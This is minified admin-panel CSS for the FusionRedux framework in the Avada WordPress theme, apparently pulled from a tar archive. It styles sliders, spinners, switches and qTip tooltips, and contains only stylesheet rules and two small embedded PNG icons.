#5b9dd9,0 0 2px 1px rgba(30,140,190,.8)}.sp-replacer.active:focus{-webkit-box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5),0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8);box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5),0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8)}.sp-replacer.active,.sp-replacer.active:hover,.sp-replacer:active{background:#eee;border-color:#999;color:#333;-webkit-box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}#ui-datepicker-div{z-index:15!important}.ui-datepicker-header{background-color:#00abef}.fusionredux-main .divide{float:none;border-color:#e7e7e7;display:block;width:100%;height:35px!important;line-height:35px!important;position:relative;margin:15px 0 10px}.fusionredux-main .divide .inner{width:42%!important;left:40%!important;margin-left:-6%;background-color:#fcfcfc;border-color:#e7e7e7;position:absolute;height:1px;top:50%;margin-top:-1px;border-top-width:1px;border-top-style:solid}.fusionredux-main .divide .inner span{background-color:#fcfcfc;border-color:#e7e7e7;height:5px;width:5px;border-width:2px;border-style:solid;display:block;position:absolute;left:50%;margin-left:-5px;margin-top:-5px}.wp-customizer .fusionredux-container-divide .divide .inner{width:82%!important;left:18%!important;margin-left:-8%}.fusionredux-container-editor .mceLayout td{border-width:1px;margin:0;padding:1px}.fusionredux-container-editor input,.fusionredux-container-editor textarea{margin:inherit}.fusionredux-container-editor textarea{border:0}.fusionredux-container-editor .wp-editor-container{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.fusionredux-container-editor .wp-editor-container textarea{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;border-style:inherit}.fusionredux-container-editor .quicktags-toolbar input{margin:2px 1px 4px;line-height:18px;display:inline-block;min-width:26px;padding:2px 4px;font:12px/18px Arial,Helvetica,sans-serif normal;color:#464646;border:1px solid #c3c3c3;-webkit-border-radius:3px;border-radius:3px;background:#eee;background-image:-webkit-gradient(linear,left bottom,left top,from(#e3e3e3),to(#fff));background-image:-webkit-linear-gradient(bottom,#e3e3e3,#fff);background-image:-moz-linear-gradient(bottom,#e3e3e3,#fff);background-image:-o-linear-gradient(bottom,#e3e3e3,#fff);background-image:linear-gradient(to top,#e3e3e3,#fff)}.fusionredux-container-image_select .fusionredux-table-container{display:table;table-layout:fixed;width:100%}.fusionredux-container-image_select .fusionredux-image-select{margin:0!important}.fusionredux-container-image_select .fusionredux-image-select .tiles{display:block;background-color:#fff;background-repeat:repeat;width:40px;height:40px}.fusionredux-container-image_select .fusionredux-image-select .tiles,.fusionredux-container-image_select .fusionredux-image-select img{border-color:#d9d9d9}.fusionredux-container-image_select .fusionredux-image-select li:last-child{margin-bottom:0}.fusionredux-container-image_select .fusionredux-image-select input[type=radio]{display:none}.fusionredux-container-image_select .fusionredux-image-select-presets img{width:100%}.fusionredux-container-image_select ul.fusionredux-image-select li{margin:0 10px 3px;display:inline-block;padding:2px 2px 2px 0}.fusionredux-container-image_select .fusionredux-image-select-selected{background-color:#f9f9f9}.fusionredux-container-image_select .fusionredux-image-select .tiles,.fusionredux-container-image_select .fusionredux-image-select img,.fusionredux-container-image_select .fusionredux-image-select-selected .tiles,.fusionredux-container-image_select .fusionredux-image-select-selected img{border-width:4px;border-style:solid}.fusionredux-container-image_select .fusionredux-image-select-selected .tiles{border-color:#7a7a7a}.fusionredux-info-field .fusionredux-info-desc,.fusionredux-notice-field .fusionredux-info-desc{display:inline-block;vertical-align:top}.fusionredux-info-field{min-height:20px;padding:8px 19px;margin:10px 0;border-radius:4px;border:1px solid;position:relative}.fusionredux-info-field h1,.fusionredux-info-field h2,.fusionredux-info-field h3,.fusionredux-info-field h4,.fusionredux-info-field h5,.fusionredux-info-field h6{border-bottom:0!important}.fusionredux-info-field h3{color:#777}.fusionredux-info-field .fusionredux-info-icon{display:inline-block;margin-right:15px}.fusionredux-info-field .fusionredux-info-icon i{font-size:2em}.fusionredux-info-field.fusionredux-normal{background-color:#eee;border-color:#ccc;color:#666}.fusionredux-info-field.fusionredux-normal i{color:#c5c5c5}.fusionredux-info-field.fusionredux-warning{background-color:#fbeba4;border-color:#d7c281;color:#958234}.fusionredux-info-field.fusionredux-warning i{color:#dcca81}.fusionredux-info-field.fusionredux-success{background-color:#c4ee91;border-color:#71af5d;color:#4d7615}.fusionredux-info-field.fusionredux-success i{color:#a0ca6c}.fusionredux-info-field.fusionredux-critical{background-color:#fba1a3;border-color:#b84f5b;color:#981225}.fusionredux-info-field.fusionredux-critical i{color:#dd767d}.fusionredux-info-field.fusionredux-info{background-color:#d3e4f4;border-color:#a9b6c2;color:#5c80a1}.fusionredux-info-field.fusionredux-info i{color:#afc6da}.fusionredux-notice-field{margin:15px 0 0;background-color:#fff;border:0;border-left:4px solid #f3f3f3;-webkit-box-shadow:0 1px 1px 0 rgba(0,0,0,.1);box-shadow:0 1px 1px 0 rgba(0,0,0,.1);padding:1px 12px}.fusionredux-notice-field h1,.fusionredux-notice-field h2,.fusionredux-notice-field h3,.fusionredux-notice-field h4,.fusionredux-notice-field h5,.fusionredux-notice-field h6{border-bottom:0!important}.fusionredux-notice-field p{margin:.5em 0;padding:2px}.fusionredux-notice-field .fusionredux-info-icon{display:inline-block;margin-right:15px}.fusionredux-notice-field .fusionredux-info-icon i{font-size:2em}.fusionredux-notice-field.fusionredux-info{border-left:4px solid #0099d5}.fusionredux-notice-field.fusionredux-success{border-left:4px solid #7ad03a}.fusionredux-notice-field.fusionredux-warning{border-left:4px solid #fbeba4}.fusionredux-notice-field.fusionredux-critical{border-left:4px solid #dd3d36}.fusionredux-main .fusionredux-field-container.fusionredux-container-info{padding:0}.wp-customizer .hasIcon.fusionredux-info-field .fusionredux-info-desc,.wp-customizer .hasIcon.fusionredux-notice-field .fusionredux-info-desc{display:block;margin-left:43px}.wp-customizer .hasIcon.fusionredux-info-field .fusionredux-info-icon,.wp-customizer .hasIcon.fusionredux-notice-field .fusionredux-info-icon{float:left}.wp-customizer .fusionredux-main .customize-control.customize-control-fusionredux-info{border-bottom:0}.fusionredux-container-link_color .linkColor{display:inline-block;padding-right:10px;padding-bottom:7px}.fusionredux-main .button.remove-image,.fusionredux-main .removeCSS{margin-left:10px;color:#ef521d}.fusionredux-main .button.remove-image:hover,.fusionredux-main .removeCSS:hover{color:red}.fusionredux-main .upload_button_div{margin-bottom:5px}.fusionredux-main .upload-error{float:left;color:#666;font-size:10px;font-weight:700;text-decoration:none;text-shadow:1px 1px 0 #fff;margin:0 10px 0 0;padding:3px 10px;background:#ffdfec;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.fusionredux-main .reset-button{float:left;margin:0;color:#ef521d;border-color:#bbb}.fusionredux-main .fusionredux-option-image{max-height:340px;max-width:340px;padding:5px;margin-bottom:0;margin-top:10px;margin-right:15px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.fusionredux-main .fusionredux-main .upload{width:80%!important}.fusionredux-main .button{margin-top:2px}.fusionredux-container-multi_text ul.fusionredux-multi-text{margin:0;padding:0}.fusionredux-container-multi_text .fusionredux-multi-text-add{clear:both;margin:5px 0}.fusionredux-container-multi_text a.fusionredux-multi-text-remove.deletion{color:red;padding:2px 4px;margin-left:5px}.fusionredux-container-multi_text a.fusionredux-multi-text-remove.deletion:hover{background:red;color:#fff;text-decoration:none}@media screen and (max-width:782px){.fusionredux-container-multi_text input{clear:both}.fusionredux-container-multi_text .fusionredux-multi-text-remove{margin:0;float:right}}.wp-customizer .fusionredux-container-multi_text .button{float:right}.wp-customizer .fusionredux-container-multi_text .fusionredux-multi-text-remove{float:right;margin-bottom:5px}.wp-customizer .fusionredux-container-multi_text ul.fusionredux-multi-text input{width:100%!important}.fusionredux-container-palette label{border:3px solid transparent;border-color:transparent!important;border-radius:0;width:100%!important;display:block}.fusionredux-container-palette label.ui-button.ui-widget{width:95%;background:0 0;padding:0}.fusionredux-container-palette label.ui-button.ui-widget .ui-button-text{display:flex}.fusionredux-container-palette label.ui-button.ui-widget .ui-button-text span{padding:10px;flex-grow:1;font-size:0;line-height:10px;color:transparent;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-ms-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;text-shadow:0}.fusionredux-container-palette label.ui-button.ui-widget .ui-button-text span:hover{flex-grow:3;font-weight:700;min-width:60px;font-size:12px;line-height:10px;color:#333;text-shadow:0 0 8px #fff,0 0 8px #fff}.fusionredux-container-palette label.ui-state-active{border:3px solid #333!important}.wp-customizer .fusionredux-main .fusionredux-container-palette label{margin-bottom:3px}.fusionredux-main .form-table-section-indented{width:95%;margin-left:5%}.fusionredux-main .form-table-section tr:first-of-type th:first-of-type{padding:0!important}.fusionredux-main h3{margin-top:10px}.fusionredux-main .form-table-section-indented>tbody>tr:first-child{display:none}.fusionredux-main .form-table-section-indented>tbody>tr:nth-last-child(2){border-bottom:0}.fusionredux-container-select li.ui-state-highlight{height:20px;margin-top:2px;margin-left:5px;width:64px;margin-bottom:0}.fusionredux-container-select_image{margin-top:2px;margin-left:5px;width:100%;margin-bottom:0}.fusionredux-preview-image{max-height:250px;max-width:250px;padding:5px;margin-top:10px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.fusionredux-container-slider .fusionredux-slider-container{margin-left:25px;margin-right:25px;width:200px;display:inline-block;vertical-align:middle}.fusionredux-container-slider .fusionredux-slider-input,.fusionredux-container-slider .fusionredux-slider-select-one,.fusionredux-container-slider .fusionredux-slider-select-two{width:100px!important;text-align:center}.fusionredux-container-slider .fusionredux-slider-label{position:absolute;margin-left:-5px}.fusionredux-container-slider .fusionredux-slider-label-one{position:absolute;margin-left:-22px}.fusionredux-container-slider .fusionredux-slider-label-two{position:absolute;margin-top:-21px;margin-left:245px}@media screen and (max-width:782px){.fusionredux-container-slider input{display:inline-block!important}}@media screen and (max-width:570px){.fusionredux-container-slider{text-align:center}.fusionredux-container-slider .fusionredux-slider-label,.fusionredux-container-slider .select3-container,.fusionredux-container-slider input,.fusionredux-container-slider select{display:block!important;position:inherit;margin:10px auto}.fusionredux-container-slider .fusionredux-slider-container{margin-top:3px;width:80%}}.wp-customizer .fusionredux-container-slider .fusionredux-slider-label{float:left;position:inherit;width:25%;text-align:center;margin-left:0}.wp-customizer .fusionredux-container-slider .fusionredux-slider-input,.wp-customizer .fusionredux-container-slider .fusionredux-slider-select-one,.wp-customizer .fusionredux-container-slider .fusionredux-slider-select-two{width:25%!important}.wp-customizer .fusionredux-container-slider .fusionredux-slider-container{width:70%;margin-right:0;margin-left:5%}.noUi-target,.noUi-target *{-webkit-touch-callout:none;-webkit-user-select:none;-ms-touch-action:none;-ms-user-select:none;-moz-user-select:none;-moz-box-sizing:border-box;box-sizing:border-box}.noUi-base{width:100%;height:100%;position:relative}.noUi-origin{position:absolute;right:0;top:0;left:0;bottom:0;border-radius:2px}.noUi-handle{position:relative;z-index:1}.noUi-stacking .noUi-handle{z-index:10}.noUi-state-tap .noUi-origin{-webkit-transition:left .3s,top .3s;transition:left .3s,top .3s}.noUi-state-drag *{cursor:inherit!important}.noUi-horizontal{height:18px}.noUi-horizontal .noUi-handle{width:34px;height:28px;left:-17px;top:-6px}.noUi-horizontal.noUi-extended{padding:0 15px}.noUi-horizontal.noUi-extended .noUi-origin{right:-15px}.noUi-vertical{width:18px}.noUi-vertical .noUi-handle{width:28px;height:34px;left:-6px;top:-17px}.noUi-vertical.noUi-extended{padding:15px 0}.noUi-vertical.noUi-extended .noUi-origin{bottom:-15px}.noUi-background{background:#FAFAFA;box-shadow:inset 0 1px 1px #f0f0f0}.noUi-connect{background:#3FB8AF;box-shadow:inset 0 0 3px rgba(51,51,51,.45);-webkit-transition:background 450ms;transition:background 450ms}.noUi-target{border-radius:4px;border:1px solid #D3D3D3;box-shadow:inset 0 1px 1px #F0F0F0,0 3px 6px -5px #BBB}.noUi-target.noUi-connect{box-shadow:inset 0 0 3px rgba(51,51,51,.45),0 3px 6px -5px #BBB}.noUi-dragable{cursor:w-resize}.noUi-vertical .noUi-dragable{cursor:n-resize}.noUi-handle{border:1px solid #D9D9D9;border-radius:3px;background:#FFF;cursor:default;box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #EBEBEB,0 3px 6px -3px #BBB}.noUi-active{box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #DDD,0 3px 6px -3px #BBB}.noUi-handle:after,.noUi-handle:before{content:"";display:block;position:absolute;height:14px;width:1px;background:#E8E7E6;left:14px;top:6px}.noUi-handle:after{left:17px}.noUi-vertical .noUi-handle:after,.noUi-vertical .noUi-handle:before{width:14px;height:1px;left:6px;top:14px}.noUi-vertical .noUi-handle:after{top:17px}[disabled] .noUi-connect,[disabled].noUi-connect{background:#B8B8B8}[disabled] .noUi-handle{cursor:not-allowed}.noUi-state-blocked .noUi-connect,.noUi-state-blocked.noUi-connect{background:#4FDACF}.fusionredux-container-slides .fusionredux-slides-list .select3-container{margin-bottom:10px;width:100%}.fusionredux-container-slides .ui-accordion-header{margin-bottom:0}.fusionredux-container-slides .full-text,.fusionredux-container-slides .large-text{width:100%}.fusionredux-container-slides .fusionredux-slides-accordion-group{border:1px solid #dfdfdf!important;border-radius:3px!important;margin-top:0!important;margin-bottom:10px;background:#f9f9f9;padding:5px}.fusionredux-container-slides .fusionredux-slides-accordion-group h3{border:1px solid #dfdfdf;cursor:move!important;font-weight:700;padding:0 10px!important;height:40px;line-height:40px!important;background-color:#f1f1f1;background-image:-ms-linear-gradient(top,#f9f9f9,#ececec);background-image:-moz-linear-gradient(top,#f9f9f9,#ececec);background-image:-o-linear-gradient(top,#f9f9f9,#ececec);background-image:-webkit-gradient(linear,left top,left bottom,from(#f9f9f9),to(#ececec));background-image:-webkit-linear-gradient(top,#f9f9f9,#ececec);background-image:linear-gradient(top,#f9f9f9,#ececec);overflow:hidden;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-moz-box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;text-align:center}.fusionredux-container-slides #fusionredux-slides-accordion .fusionredux-slides-image{height:250px;padding:5px;margin-top:10px;margin-bottom:10px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.fusionredux-container-slides .fusionredux-slides-add{float:right;margin-right:10%;display:block;margin-bottom:10px}.fusionredux-container-slides .fusionredux-slides-remove{color:#ef521d!important;float:right;margin-top:5px}.fusionredux-container-slides .fusionredux-slides-header{font-weight:700}.fusionredux-container-slides .fusionredux_slides_add_remove{margin-bottom:10px}.fusionredux-container-slides input{width:100%!important}.wp-customizer .fusionredux-container-slides .ui-accordion .ui-accordion-content{padding:10px}.fusionredux-container-sorter{margin-right:-20px}.fusionredux-container-sorter ul{background:#f9f9f9;border:1px solid #e3e3e3;min-height:40px;padding:10px 10px 0;width:145px;float:left;margin:0 15px 0 0}.fusionredux-container-sorter ul.filled{opacity:.7;filter:alpha(opacity=70);background:#efecec}.fusionredux-container-sorter ul li{border:1px solid #dfdfdf;cursor:move;font-weight:700;margin-bottom:10px!important;padding:0 10px;height:40px;line-height:40px!important;background-color:#f1f1f1;background-image:-ms-linear-gradient(top,#f9f9f9,#ececec);background-image:-moz-linear-gradient(top,#f9f9f9,#ececec);background-image:-o-linear-gradient(top,#f9f9f9,#ececec);background-image:-webkit-gradient(linear,left top,left bottom,from(#f9f9f9),to(#ececec));background-image:-webkit-linear-gradient(top,#f9f9f9,#ececec);background-image:linear-gradient(top,#f9f9f9,#ececec);overflow:hidden;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-moz-box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;text-align:center}.fusionredux-container-sorter ul li h3{margin:0 0 10px;text-align:center;color:#777;text-transform:capitalize;word-wrap:break-word}.fusionredux-container-sorter ul li.placeholder{height:40px}.wp-customizer .fusionredux-container-sorter ul{width:85%;margin:0 0 5px}.fusionredux-container-spinner .spinner-wrpr{position:relative;display:block;height:30px;overflow:hidden}.fusionredux-container-spinner .spinner-wrpr .spinner-input{position:relative!important;z-index:1;width:45px!important;height:30px!important;background:#e7e7e7!important;border:1px solid #bfbfbf!important;border-right:0!important;border-left:0!important;-webkit-border-radius:0!important;-moz-border-radius:0!important;border-radius:0!important}.fusionredux-container-spinner .ui-spinner{position:static;display:inline}.fusionredux-container-spinner .ui-spinner-buttons{position:absolute;padding:0}.fusionredux-container-spinner .ui-widget .ui-spinner-button{position:absolute;top:0;padding:0 0 30px;overflow:hidden;cursor:pointer;background:-moz-linear-gradient(#fff,#f3f3f3);background:-o-linear-gradient(#fff,#f3f3f3);background:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#f3f3f3));background:linear-gradient(#fff,#f3f3f3);background-color:#fff;border:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.fusionredux-container-spinner .ui-spinner-button:hover,.fusionredux-container-spinner .ui-state-hover{background:-moz-linear-gradient(#f3f3f3,#fff);background:-o-linear-gradient(#f3f3f3,#fff);background:-webkit-gradient(linear,left top,left bottom,from(#f3f3f3),to(#fff));background:linear-gradient(#f3f3f3,#fff);background-color:#f3f3f3}.fusionredux-container-spinner .ui-corner-tr,.fusionredux-container-spinner .ui-spinner-button .ui-icon-triangle-1-n{-webkit-border-radius:0 5px 5px 0;-moz-border-radius:0 5px 5px 0;border-radius:0 5px 5px 0}.fusionredux-container-spinner .ui-corner-br,.fusionredux-container-spinner .ui-spinner-button .ui-icon-triangle-1-s{-webkit-border-radius:5px 0 0 5px;-moz-border-radius:5px 0 0 5px;border-radius:5px 0 0 5px}.fusionredux-container-spinner .ui-spinner-button .ui-icon{top:0;display:block;width:28px;height:28px;margin:0;border:1px solid #b7b7b7}.fusionredux-container-spinner .ui-spinner-button .ui-icon-triangle-1-n{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADxJREFUeNpsjwsKADAIQu3u3tsRY6M5gz7w0AqSQFLdZ3ZRgmf44JQ/EOZ9oYOsiDviVemP2oYoWCwBBgDpO6VXVo3RyQAAAABJRU5ErkJggg==) 10px 10px no-repeat!important}.fusionredux-container-spinner .ui-spinner-button .ui-icon-triangle-1-s{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADhJREFUeNpi+P//PwM6bmlpwS4IorEKokggC8Il0AVhEv9x6sAmiaz9P05XIUsygmVRAUiAESDAAFHcpVdWtdj/AAAAAElFTkSuQmCC) 10px 10px no-repeat!important}.fusionredux-container-switch .cb-disable.selected,.fusionredux-container-switch .cb-enable.selected{color:#fff}.fusionredux-container-switch .switch-options{min-height:30px;margin-right:10px}.fusionredux-container-switch .switch-options label{cursor:pointer}.fusionredux-container-switch .switch-options input{display:none}.fusionredux-container-switch .cb-disable,.fusionredux-container-switch .cb-enable{padding:0 10px;border-width:1px;border-style:solid;-webkit-appearance:none;white-space:nowrap;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.fusionredux-container-switch .cb-disable span,.fusionredux-container-switch .cb-enable span{line-height:30px;font-weight:700;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-o-user-select:none;-ms-user-select:none;user-select:none}.fusionredux-container-switch .cb-disable,.fusionredux-container-switch .cb-disable span,.fusionredux-container-switch .cb-enable,.fusionredux-container-switch .cb-enable span{display:block;float:left}.fusionredux-container-switch .cb-enable{border-right:0;border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;-webkit-border-radius:3px 0 0 3px}.fusionredux-container-switch .cb-disable{border-left:0;border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;-webkit-border-radius:0 3px 3px 0}.fusionredux-container-text label{display:block;position:relative;font-size:12px!important;text-align:left;color:#999;margin:4px 0 2px!important;cursor:default;top:5px;width:100px}.fusionredux-container-text input{clear:left}.fusionredux-container-text .input_wrapper{display:block;position:relative;padding:0;width:23%;max-width:23%;min-width:70px;float:left;clear:left;height:57px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;vertical-align:baseline}.wp-customizer .fusionredux-container-text .input_wrapper{width:100%;max-width:100%;height:auto}.fusionredux-main .button.remove-image,.fusionredux-main .removeCSS{margin-left:10px;color:#ef521d}.fusionredux-main .button.remove-image:hover,.fusionredux-main .removeCSS:hover{color:red}.fusionredux-main .upload_button_div{margin-bottom:5px}.fusionredux-main .upload-error{float:left;color:#666;font-size:10px;font-weight:700;text-decoration:none;text-shadow:1px 1px 0 #fff;margin:0 10px 0 0;padding:3px 10px;background:#ffdfec;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.fusionredux-main .reset-button{float:left;margin:0;color:#ef521d;border-color:#bbb}.fusionredux-main .fusionredux-option-image{max-height:340px;max-width:340px;padding:5px;margin-bottom:0;margin-top:10px;margin-right:15px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.fusionredux-main .fusionredux-main .upload{width:80%!important}.fusionredux-main .button{margin-top:2px}Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/fusionredux-vendor.css000064400000104212152342437710025577 0ustar00.qtip{position:absolute;left:-28000px;top:-28000px;display:none;max-width:280px;min-width:50px;font-size:10.5px;line-height:12px;direction:ltr;box-shadow:none;padding:0}.qtip-content{position:relative;padding:5px 9px;overflow:hidden;text-align:left;word-wrap:break-word}.qtip-titlebar{position:relative;padding:5px 35px 5px 10px;overflow:hidden;border-width:0 0 1px;font-weight:700}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{position:absolute;right:-9px;top:-9px;cursor:pointer;outline:0;border-width:1px;border-style:solid;border-color:transparent}.qtip-titlebar .qtip-close{right:4px;top:50%;margin-top:-9px}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{display:block;text-indent:-1000em;direction:ltr}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{width:18px;height:14px;line-height:14px;text-align:center;text-indent:0;font:normal bold 10px/13px Tahoma,sans-serif;color:inherit;background:-100em -100em no-repeat}.qtip-default{border-width:1px;border-style:solid;border-color:#F1D031;background-color:#FFFFA3;color:#555}.qtip-default .qtip-titlebar{background-color:#FFEF93}.qtip-default .qtip-icon{border-color:#CCC;background:#F1F1F1;color:#777}.qtip-default .qtip-titlebar .qtip-close{border-color:#AAA;color:#111}/*! Light tooltip style */.qtip-light{background-color:#fff;border-color:#E2E2E2;color:#454545}.qtip-light .qtip-titlebar{background-color:#f1f1f1}/*! Dark tooltip style */.qtip-dark{background-color:#505050;border-color:#303030;color:#f3f3f3}.qtip-dark .qtip-titlebar{background-color:#404040}.qtip-dark .qtip-icon{border-color:#444}.qtip-dark .qtip-titlebar .ui-state-hover{border-color:#303030}/*! Cream tooltip style */.qtip-cream{background-color:#FBF7AA;border-color:#F9E98E;color:#A27D35}.qtip-cream .qtip-titlebar{background-color:#F0DE7D}.qtip-cream .qtip-close .qtip-icon{background-position:-82px 0}/*! Red tooltip style */.qtip-red{background-color:#F78B83;border-color:#D95252;color:#912323}.qtip-red .qtip-titlebar{background-color:#F06D65}.qtip-red .qtip-close .qtip-icon{background-position:-102px 0}.qtip-red .qtip-icon,.qtip-red .qtip-titlebar .ui-state-hover{border-color:#D95252}/*! Green tooltip style */.qtip-green{background-color:#CAED9E;border-color:#90D93F;color:#3F6219}.qtip-green .qtip-titlebar{background-color:#B0DE78}.qtip-green .qtip-close .qtip-icon{background-position:-42px 0}/*! Blue tooltip style */.qtip-blue{background-color:#E5F6FE;border-color:#ADD9ED;color:#5E99BD}.qtip-blue .qtip-titlebar{background-color:#D0E9F5}.qtip-blue .qtip-close .qtip-icon{background-position:-2px 0}.qtip-shadow{-webkit-box-shadow:1px 1px 3px 1px rgba(0,0,0,.15);-moz-box-shadow:1px 1px 3px 1px rgba(0,0,0,.15);box-shadow:1px 1px 3px 1px rgba(0,0,0,.15)}.qtip-bootstrap,.qtip-rounded,.qtip-tipsy{-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.qtip-rounded .qtip-titlebar{-moz-border-radius:4px 4px 0 0;-webkit-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.qtip-youtube{-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 3px #333;-moz-box-shadow:0 0 3px #333;box-shadow:0 0 3px #333;color:#fff;border-width:0;background:#4A4A4A;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0,#4A4A4A),color-stop(100%,#000));background-image:-webkit-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-moz-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-ms-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-o-linear-gradient(top,#4A4A4A 0,#000 100%)}.qtip-youtube .qtip-titlebar{background-color:transparent}.qtip-youtube .qtip-content{padding:.75em;font:12px arial,sans-serif;filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr=#4a4a4a, EndColorStr=#000000);-ms-filter:"progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000);"}.qtip-youtube .qtip-icon{border-color:#222}.qtip-youtube .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-jtools{background:#232323;background:rgba(0,0,0,.7);background-image:-webkit-gradient(linear,left top,left bottom,from(#717171),to(#232323));background-image:-moz-linear-gradient(top,#717171,#232323);background-image:-webkit-linear-gradient(top,#717171,#232323);background-image:-ms-linear-gradient(top,#717171,#232323);background-image:-o-linear-gradient(top,#717171,#232323);border:2px solid #ddd;border:2px solid rgba(241,241,241,1);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 12px #333;-moz-box-shadow:0 0 12px #333;box-shadow:0 0 12px #333}.qtip-jtools .qtip-titlebar{background-color:transparent;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171, endColorstr=#4A4A4A);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A)"}.qtip-jtools .qtip-content{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A, endColorstr=#232323);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323)"}.qtip-jtools .qtip-content,.qtip-jtools .qtip-titlebar{background:0 0;color:#fff;border:0 dashed transparent}.qtip-jtools .qtip-icon{border-color:#555}.qtip-jtools .qtip-titlebar .ui-state-hover{border-color:#333}.qtip-cluetip{-webkit-box-shadow:4px 4px 5px rgba(0,0,0,.4);-moz-box-shadow:4px 4px 5px rgba(0,0,0,.4);box-shadow:4px 4px 5px rgba(0,0,0,.4);background-color:#D9D9C2;color:#111;border:0 dashed transparent}.qtip-cluetip .qtip-titlebar{background-color:#87876A;color:#fff;border:0 dashed transparent}.qtip-cluetip .qtip-icon{border-color:#808064}.qtip-cluetip .qtip-titlebar .ui-state-hover{border-color:#696952;color:#696952}.qtip-tipsy{background:#000;background:rgba(0,0,0,.87);color:#fff;border:0 solid transparent;font-size:11px;font-family:'Lucida Grande',sans-serif;font-weight:700;line-height:16px;text-shadow:0 1px #000}.qtip-tipsy .qtip-titlebar{padding:6px 35px 0 10px;background-color:transparent}.qtip-tipsy .qtip-content{padding:6px 10px}.qtip-tipsy .qtip-icon{border-color:#222;text-shadow:none}.qtip-tipsy .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-tipped{border:3px solid #959FA9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;background-color:#F9F9F9;color:#454545;font-weight:400;font-family:serif}.qtip-tipped .qtip-titlebar{border-bottom-width:0;color:#fff;background:#3A79B8;background-image:-webkit-gradient(linear,left top,left bottom,from(#3A79B8),to(#2E629D));background-image:-webkit-linear-gradient(top,#3A79B8,#2E629D);background-image:-moz-linear-gradient(top,#3A79B8,#2E629D);background-image:-ms-linear-gradient(top,#3A79B8,#2E629D);background-image:-o-linear-gradient(top,#3A79B8,#2E629D);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8, endColorstr=#2E629D);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D)"}.qtip-tipped .qtip-icon{border:2px solid #285589;background:#285589}.qtip-tipped .qtip-icon .ui-icon{background-color:#FBFBFB;color:#555}.qtip-bootstrap{font-size:14px;line-height:20px;color:#333;padding:1px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px 